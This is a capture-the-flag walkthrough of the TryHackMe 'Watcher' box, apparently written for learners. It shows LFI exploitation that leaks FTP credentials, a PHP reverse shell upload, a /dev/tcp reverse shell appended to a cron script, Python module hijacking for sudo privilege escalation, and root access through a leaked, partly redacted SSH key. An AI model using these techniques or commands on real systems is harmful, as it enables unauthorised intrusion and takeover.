Intro

THM: Watcher is a boot to root that’s broken down into a series of several mini flags. We’ll start with exploiting an LFI vulnerability to leak credentials for FTP, and then we will upload a shell and launch it with the LFI. Once on the box we’ll privesc through a series of low privilege users before ultimately getting root. This box doesn’t require any advanced techniques, just lots of enumeration.

Recon

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Watcher]                                                             
└─$ sudo rustscan -a 10.10.110.123 -- -sV -O -oA nmap1

PORT   STATE SERVICE REASON         VERSION     
21/tcp open  ftp     syn-ack ttl 61 vsftpd 3.0.3      
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)             
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))                                           
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete               
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.5 (92%)
No exact OS matches for host (test conditions non-ideal).                                                    
                                                                                 
Uptime guess: 28.514 days (since Mon Jul 11 07:53:40 2022)                                                   
Network Distance: 4 hops                              
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros            
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

On port 80 we have a website that’s a blog about cork-based placemats.

Corkplacements website on port 80

Flag 1

Clicking into any one of the blog posts we can see there is a post.php page that is likely loading content from other files, since there is a filename passed as a query parameter: post.php?post=round.php

Right off the bat we can test for LFI here by replacing round.php with /etc/passwd.

And we do indeed have LFI!

LFI POC

Let’s keep enumerating. We can check for a /robots.txt and find this:

User-agent: *
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt

And we’ve found flag 1.

Flag 2

We do not have permission to read the other text file, but we can get around that by using the LFI.

Hi Mat, The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files. Will ---------- ftpuser:REDACTED

So using the creds we’ve found we can access the FTP service and grab flag 2.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Watcher]
└─$ ftp -v 10.10.110.123
Connected to 10.10.110.123.
220 (vsFTPd 3.0.3)
Name (10.10.110.123:brian): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1001         4096 Dec 03  2020 files
-rw-r--r--    1 0        0              21 Dec 03  2020 flag_2.txt
226 Directory send OK.

ftp> get flag_2.txt -
remote: flag_2.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for flag_2.txt (21 bytes).
FLAG{REDACTED}
226 Transfer complete.
21 bytes received in 0.00 secs (17.1041 kB/s)

Getting a Shell

From the directory listing we saw that files is writable by user with id 1001. If we look back at the /etc/passwd output from earlier, we’ll see that id belongs to ftpuser who we are currently logged into the FTP service with.

Now we have enough information and access to work on a shell!

First let’s echo '<?php phpinfo(); ?>' > info.php and then upload that to the files directory via FTP. This will give us POC for code execution.

Viewing phpinfo() via file uploaded through FTP

Sweet! Now we can upload a shell.

(I’m using /usr/share/webshells/php/php-reverse-shell.php in Kali — if you’re following along, make a copy of this file and modify the IP and port to match your listener.)

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Watcher]
└─$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.110.123] 54662
Linux watcher 4.15.0-128-generic #131-Ubuntu SMP Wed Dec 9 06:57:35 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 01:05:47 up 54 min,  0 users,  load average: 0.00, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ which python3
/usr/bin/python3

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@watcher:/$ ^Z
[1]+  Stopped                 nc -nlvp 9001

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Watcher]
└─$ stty raw -echo; fg
nc -nlvp 9001

www-data@watcher:/$ 
www-data@watcher:/$ export TERM=xterm
www-data@watcher:/$ stty rows 56 columns 109

Flag 3

We’re in! Let’s search for flag_3.txt.

www-data@watcher:/home/ftpuser/ftp$ find / -name 'flag_3.txt' 2>/dev/null
/var/www/html/more_secrets_a9f10a/flag_3.txt

www-data@watcher:/home/ftpuser/ftp$ cd /var/www/html/more_secrets_a9f10a/
www-data@watcher:/var/www/html/more_secrets_a9f10a$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Dec  3  2020 .
drwxr-xr-x 5 root root 4096 Dec  3  2020 ..
-rw-r--r-- 1 root root   21 Dec  3  2020 flag_3.txt

www-data@watcher:/var/www/html/more_secrets_a9f10a$ wc -c flag_3.txt 
21 flag_3.txt

Flag 4

With a little exploring users' home directories we’ll find flag_4.txt in /home/toby, but we don’t have permission to read it.

www-data@watcher:/home/toby$ ls -la
total 44
drwxr-xr-x 6 toby toby 4096 Dec 12  2020 .
drwxr-xr-x 6 root root 4096 Dec  3  2020 ..
lrwxrwxrwx 1 root root    9 Dec  3  2020 .bash_history -> /dev/null
-rw-r--r-- 1 toby toby  220 Dec  3  2020 .bash_logout
-rw-r--r-- 1 toby toby 3771 Dec  3  2020 .bashrc
drwx------ 2 toby toby 4096 Dec  3  2020 .cache
drwx------ 3 toby toby 4096 Dec  3  2020 .gnupg
drwxrwxr-x 3 toby toby 4096 Dec  3  2020 .local
-rw-r--r-- 1 toby toby  807 Dec  3  2020 .profile
-rw------- 1 toby toby   21 Dec  3  2020 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec  3  2020 jobs
-rw-r--r-- 1 mat  mat    89 Dec 12  2020 note.txt

www-data@watcher:/home/toby$ cat note.txt 
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

Mat

There’s also a note.txt hinting at a cronjob so let’s see.

www-data@watcher:/home/toby$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/1 * * * * mat /home/toby/jobs/cow.sh

Indeed, mat is executing /home/toby/jobs/cow.sh every minute.

www-data@watcher:/home/toby$ ls -la /home/toby/jobs/       
total 12
drwxrwxr-x 2 toby toby 4096 Dec  3  2020 .
drwxr-xr-x 6 toby toby 4096 Dec 12  2020 ..
-rwxr-xr-x 1 toby toby   46 Dec  3  2020 cow.sh

www-data@watcher:/home/toby$ cat /home/toby/jobs/cow.sh 
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg

Now what? We haven’t checked for sudo privileges…

www-data@watcher:/home/toby/jobs$ sudo -l
Matching Defaults entries for www-data on watcher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on watcher:
    (toby) NOPASSWD: ALL

We can run any command as toby with no password! So a simple sudo -u toby /bin/bash will give us a shell as toby.

www-data@watcher:/home/toby/jobs$ sudo -u toby /bin/bash
toby@watcher:~/jobs$ id
uid=1003(toby) gid=1003(toby) groups=1003(toby)

Now we can grab flag 4 from toby’s home directory.

toby@watcher:~/jobs$ cd ~

toby@watcher:~$ ls -la
total 44
drwxr-xr-x 6 toby toby 4096 Dec 12  2020 .
drwxr-xr-x 6 root root 4096 Dec  3  2020 ..
lrwxrwxrwx 1 root root    9 Dec  3  2020 .bash_history -> /dev/null
-rw-r--r-- 1 toby toby  220 Dec  3  2020 .bash_logout
-rw-r--r-- 1 toby toby 3771 Dec  3  2020 .bashrc
drwx------ 2 toby toby 4096 Dec  3  2020 .cache
drwx------ 3 toby toby 4096 Dec  3  2020 .gnupg
drwxrwxr-x 3 toby toby 4096 Dec  3  2020 .local
-rw-r--r-- 1 toby toby  807 Dec  3  2020 .profile
-rw------- 1 toby toby   21 Dec  3  2020 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec  3  2020 jobs
-rw-r--r-- 1 mat  mat    89 Dec 12  2020 note.txt

toby@watcher:~$ wc -c flag_4.txt 
21 flag_4.txt

Flag 5

The 5th flag is in mat’s home directory and only they can read it.

We know that Mat is running the cow.sh script as a cronjob, and since Toby owns that file we can add some code to send ourselves another reverse shell. Only this time it’ll be a shell for Mat’s user since the cron process runs as him.

echo '/bin/bash -i >& /dev/tcp/10.13.17.127/9001 0>&1' >> cow.sh

In a new terminal window we can start a listener and catch the shell!

┌──(brian㉿kali)-[~]
└─$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.237.172] 44242
bash: cannot set terminal process group (1864): Inappropriate ioctl for device
bash: no job control in this shell
mat@watcher:~$ id
id
uid=1002(mat) gid=1002(mat) groups=1002(mat)

And now we can grab flag 5!

mat@watcher:~$ wc -c flag_5.txt 
37 flag_5.txt

Flag 6

In Mat’s home directory is a note from Will.

mat@watcher:~$ cat note.txt 
Hi Mat,

I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.

Will

We can run sudo -l to see which script Will is referring to.

mat@watcher:~$ sudo -l
Matching Defaults entries for mat on watcher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mat may run the following commands on watcher:
    (will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py * 

We can’t write to will_script.py as Mat, but we can read it.

import os
import sys
from cmd import get_command

cmd = get_command(sys.argv[1])

whitelist = ["ls -lah", "id", "cat /etc/passwd"]

if cmd not in whitelist:
        print("Invalid command!")
        exit()

os.system(cmd)

It’s sort of a mini shell that only allows a few commands. However, it is importing the get_command() function from another python module, cmd.py. This file is owned by mat, so we can add malicious code to get a shell as will.

All we need to do is modify the file to import the os module, and use that in the get_command() function to open a shell.

import os
  
def get_command(num):
        os.system("/bin/bash -p")
        if(num == "1"):
                return "ls -lah"
        if(num == "2"):
                return "id"
        if(num == "3"):
                return "cat /etc/passwd"

Now we can run the script as will via sudo to get a new shell and capture the 6th flag!

mat@watcher:~/scripts$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1

will@watcher:~/scripts$ id
uid=1000(will) gid=1000(will) groups=1000(will),4(adm)

will@watcher:~$ cd /home/will
will@watcher:/home/will$ wc -c flag_6.txt 
41 flag_6.txt

Flag 7

For privesc to root, it’s import to recall that will is part of the admin group.

While walking the box we’ve found an interesting file named key.b64 that’s owned by root and is part of the adm group.

will@watcher:/opt/backups$ ls -la
total 12
drwxrwx--- 2 root adm  4096 Dec  3  2020 .
drwxr-xr-x 3 root root 4096 Dec  3  2020 ..
-rw-rw---- 1 root adm  2270 Dec  3  2020 key.b64

We can decode it to reveal a private key!

will@watcher:/opt/backups$ cat key.b64 | base64 -d
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzPaQFolQq8cHom9mssyPZ53aLzBcRyBw+rysJ3h0JCxnV+aG
opZdcQz01YOYdjYIaZEJmdcPVWQp/L0uc5u3igoiK1uiYMfw850N7t3OX/erdKF4
jqVu3iXN9doBmr3TuU9RJkVnDDuo8y4DtIuFCf92ZfEAJGUB2+vFON7q4KJsIxgA
...REDACTED...
mEGDGwKBgQCh+UpmTTRx4KKNy6wJkwGv2uRdj9rta2X5pzTq2nEApke2UYlP5OLh
/6KHTLRhcp9FmF9iKWDtEMSQ8DCan5ZMJ7OIYp2RZ1RzC9Dug3qkttkOKAbccKn5
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRsM1bOEqjFdZgv6SA==
-----END RSA PRIVATE KEY-----

Could this be root’s SSH key? Let’s find out.

We can copy the key and past it to a new file locally and see if it works.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Watcher]
└─$ chmod 400 key                                                                                          1 ⨯
                                                                                                               
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Watcher]
└─$ ssh -i key root@10.10.237.172          
The authenticity of host '10.10.237.172 (10.10.237.172)' can't be established.
ECDSA key fingerprint is SHA256:vBeZlR+cak5J2WqxAI9JKbnLjRAbdRGnKxuFjLqsfz4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.237.172' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-128-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Aug  9 14:04:50 UTC 2022

  System load:  0.0                Processes:             121
  Usage of /:   22.5% of 18.57GB   Users logged in:       0
  Memory usage: 36%                IP address for eth0:   10.10.237.172
  Swap usage:   0%                 IP address for lxdbr0: 10.14.179.1

33 packages can be updated.
0 updates are security updates.

Last login: Thu Dec  3 03:25:38 2020

root@watcher:~# id
uid=0(root) gid=0(root) groups=0(root)

root@watcher:~# pwd
/root

root@watcher:~# wc -c flag_7.txt 
31 flag_7.txt